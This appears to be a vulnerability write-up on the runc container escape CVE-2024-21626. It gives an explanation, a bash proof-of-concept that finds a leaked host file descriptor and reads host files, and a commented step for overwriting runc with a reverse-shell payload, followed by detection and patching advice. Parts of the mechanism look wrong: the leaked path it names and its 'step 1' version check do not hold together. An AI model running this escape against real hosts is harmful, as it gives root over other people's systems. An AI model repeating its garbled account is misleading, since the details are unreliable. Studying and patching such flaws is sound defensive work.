runc leaks an open file descriptor pointing to the host's
/proc/self/fd directory into the container process.
Set the container's working directory to /proc/self/fd/[n]
and you're browsing the host filesystem from inside Docker.
One more step: overwrite the runc binary → root on the host.
What is this?
Docker and Kubernetes use runc to actually start containers. Think of runc as the "engine" that takes an image and creates an isolated process — setting up namespaces, cgroups, and the filesystem view.
This vulnerability breaks that isolation. A process running inside a container can access the host's real filesystem and overwrite binaries. The end result: the next time runc is used (which happens every time Docker starts a container), it runs your code instead. Root on the host.
Every open file on Linux has a number — a "file descriptor" (fd). When a program opens a file, it gets back an fd like 3, 4, 5. The kernel tracks which file each fd points to. If a file descriptor is inherited by a child process (like a container), that child can use it to access whatever the parent had open — even if it has no permission to open that file directly.
The Bug
When runc spawns a container process, it opens several files on the host
during the setup phase. One of these is a file descriptor pointing to
/proc/self/fd — the list of all currently open fds in the runc process.
runc closes its file descriptors before handing control to the container.
But due to a specific ordering bug, one fd — pointing to the host's
/proc/self/fd — survives into the container's process.
Once you know that fd number, you can navigate from it up the host filesystem tree:
/proc/self/fd/[n]/../../../ is the host's root.
Exploitation Chain
/proc/self/fd/.
One entry will have a target path starting with
/proc/.../fd instead of a container path.
That's the leaked host fd.
/proc/self/fd/[n]/../../.. gives you /
on the host system, not the container's filesystem.
/usr/bin/runc (or wherever it lives).
On the next container start, the host executes your payload as root.
docker run ... (or any container start) from
inside or outside. runc is called by the Docker daemon running
as root. Your payload now runs on the host as root.
Proof of Concept
From inside a vulnerable Docker container:
#!/bin/bash
# CVE-2024-21626 — runc container escape
# Run this from inside a Docker container
echo "[*] Scanning for leaked host fd..."
for fd in /proc/self/fd/*; do
target=$(readlink "$fd" 2>/dev/null)
# The leaked fd points to a /proc path on the HOST, not container
if echo "$target" | grep -q "^/proc/[0-9]*/fd$"; then
fd_num=$(basename "$fd")
echo "[+] Found leaked fd: $fd_num → $target"
# Navigate from the leaked fd to the host root
host_root="/proc/self/fd/${fd_num}/../../.."
echo "[*] Verifying host filesystem access..."
ls "$host_root/etc/passwd" && echo "[+] Host /etc/passwd accessible!"
# Read host's /etc/shadow (requires root on host)
echo "[*] Host OS:"
cat "$host_root/etc/os-release" | grep PRETTY_NAME
# Overwrite runc binary with a reverse shell
# (next `docker run` on the host executes as root)
RUNC_PATH=$(which runc 2>/dev/null || echo "/usr/bin/runc")
echo "[!] Would overwrite: $host_root/$RUNC_PATH"
echo "[!] Uncomment the next line to execute the escape:"
# cp /tmp/payload "$host_root/usr/bin/runc"
break
fi
done
# Step 1: pull a vulnerable runc version
docker run --rm -it --privileged ubuntu:22.04 bash -c "
apt-get install -y runc 2>/dev/null
runc --version
"
# Step 2: check your runc version
runc --version
# vulnerable if < 1.1.12
# Step 3: run the escape PoC inside a container
docker run --rm -it ubuntu:22.04 bash
# (inside container) → paste escape.sh content
# Fix: upgrade runc
apt update && apt install --only-upgrade runc
runc --version # should show >= 1.1.12
Why Docker Desktop users are affected differently
On Linux, Docker runs natively — runc has direct host access. The escape goes straight to the real host.
On macOS/Windows, Docker runs inside a Linux VM. The escape reaches the VM, not your Mac/Windows machine. Still serious in production Kubernetes clusters.
Detection
# Check if your runc is patched
runc --version | grep -E "^runc"
# 1.1.12 or higher = patched
# Check for exploitation attempts in Docker daemon logs
journalctl -u docker | grep -i "runc\|escape\|container"
# If you use Falco (runtime security):
# Rule: Container process opening /proc/self/fd/ pointing to host path
Mitigation
Patch runc to 1.1.12+. All major container runtimes (Docker 25.0.3+, containerd 1.6.28+) ship the fixed version.
# Ubuntu/Debian
apt update && apt upgrade runc docker.io containerd
# RHEL/Rocky
dnf update runc
# Verify the patch
runc --version # must be >= 1.1.12
References
Snyk original research
NVD — CVE-2024-21626
runc security advisory
Research conducted on isolated lab infrastructure. No third-party systems targeted without authorization.